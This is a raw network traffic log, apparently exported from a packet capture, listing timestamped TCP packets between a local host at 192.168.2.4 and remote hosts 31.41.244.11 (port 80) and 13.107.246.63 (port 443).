Nov 22, 2024 04:12:11.371161938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.371213913 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.372270107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.372329950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.372386932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.372437000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.373480082 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.373598099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.373651028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.374659061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.374787092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.374831915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.375861883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.376012087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.376061916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.377063036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.377175093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.377228022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.378271103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.378381968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.378427982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.379456997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.379622936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.379669905 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.380661011 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.380764961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.380819082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.381846905 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.381889105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.381979942 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.382055044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.383057117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.383109093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.383153915 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.384246111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.384356022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.384406090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.385449886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.385509968 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.385539055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.385574102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.386640072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.386698008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.386749983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.387836933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.387885094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.387931108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.387974977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.389039993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.389086008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.389132023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.389195919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.390235901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.390280008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.390379906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.390434980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.390460014 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.390613079 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.390676975 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.390902996 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.390902996 CET	49761	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.390943050 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.390968084 CET	443	49761	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.391482115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.391546965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.391554117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.391609907 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.392640114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.392694950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.392739058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.392812967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.393841982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.393927097 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.393959045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.394013882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.394500017 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.394527912 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.394639969 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.394881964 CET	49766	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.394892931 CET	443	49766	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.395024061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.395072937 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.395134926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.395200014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.396225929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.396302938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.396342993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.396482944 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.397402048 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.397463083 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.397511959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.397629976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.398622036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.398674965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.398721933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.398809910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.399816036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.399862051 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.399907112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.400006056 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.401041031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.401112080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.401129007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.401175976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.402261972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.402321100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.402338982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.402391911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.403404951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.403450966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.403521061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.403687954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.404566050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.404668093 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.428847075 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.429183960 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.429191113 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.429589987 CET	49764	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.429594994 CET	443	49764	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.490024090 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.490341902 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.490371943 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.490719080 CET	49763	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.490732908 CET	443	49763	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.543100119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.543173075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.543387890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.543608904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.543661118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.543709993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.543788910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.544785976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.544855118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.544891119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.544969082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.546010017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.546056986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.546097994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.546190023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.547183037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.547230005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.547295094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.547480106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.548367977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.548424959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.548468113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.548517942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.549566031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.549627066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.549666882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.549720049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.550757885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.550829887 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.550868988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.550914049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.551960945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.552010059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.552083015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.552208900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.553214073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.553263903 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.553287983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.553324938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.554337025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.554415941 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.554436922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.554490089 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.555536032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.555592060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.555638075 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.555747986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.556710005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.556776047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.556813002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.556860924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.557930946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.557991982 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.558039904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.558087111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.559103966 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.559146881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.559195042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.560301065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.560357094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.560400963 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.560450077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.561506033 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.561580896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.561604023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.561654091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.562673092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.562727928 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.562772036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.562834978 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.563941956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.563991070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.563992023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.564045906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.565064907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.565185070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.565188885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.565237999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.566276073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.566328049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.566391945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.566478014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.567467928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.567539930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.567584991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.567641973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.568644047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.568718910 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.568748951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.568798065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.569844007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.569890022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.569940090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.569983959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.571022034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.571103096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.571142912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.571216106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.572220087 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.572273016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.572319031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.572401047 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.573430061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.573482037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.573529959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.573599100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.574661016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.574733973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.574740887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.574788094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.575809002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.575860977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.575920105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.575968027 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.577012062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.577058077 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.577115059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.577155113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.578216076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.578263044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.578318119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.578363895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.579406977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.579456091 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.579498053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.579539061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.580574989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.580631971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.580673933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.580763102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.581774950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.581825972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.581872940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.581919909 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.582978010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.583040953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.583117962 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.583168030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.584141016 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.584193945 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.584196091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.584248066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.585366964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.585431099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.585547924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.585597992 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.586549997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.586604118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.586641073 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.586770058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.587726116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.587785006 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.587824106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.587871075 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.588937044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.588984966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.589030027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.589107037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.590146065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.590193987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.590260983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.590353966 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.591324091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.591367960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.591415882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.591459990 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.592503071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.592551947 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.592580080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.592623949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.593709946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.593767881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.593812943 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.593914032 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.594903946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.594970942 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.595000982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.595086098 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.596141100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.596191883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.596210957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.596255064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.597304106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.597353935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.597402096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.597486973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.598469973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.598517895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.598573923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.598625898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.599706888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.599755049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.599796057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.599842072 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.600864887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.600919008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.600964069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.601066113 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.602050066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.602114916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.602164984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.602257967 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.603260994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.603359938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.603409052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.604432106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.604543924 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.604603052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.605590105 CET	80	49760	31.41.244.11	192.168.2.4
Nov 22, 2024 04:12:11.611066103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 22, 2024 04:12:11.719474077 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.719630957 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.719712973 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.719892025 CET	49762	443	192.168.2.4	13.107.246.63
Nov 22, 2024 04:12:11.719932079 CET	443	49762	13.107.246.63	192.168.2.4
Nov 22, 2024 04:12:11.719958067 CET	49762	443	192.168.2.4	13.107.246.63
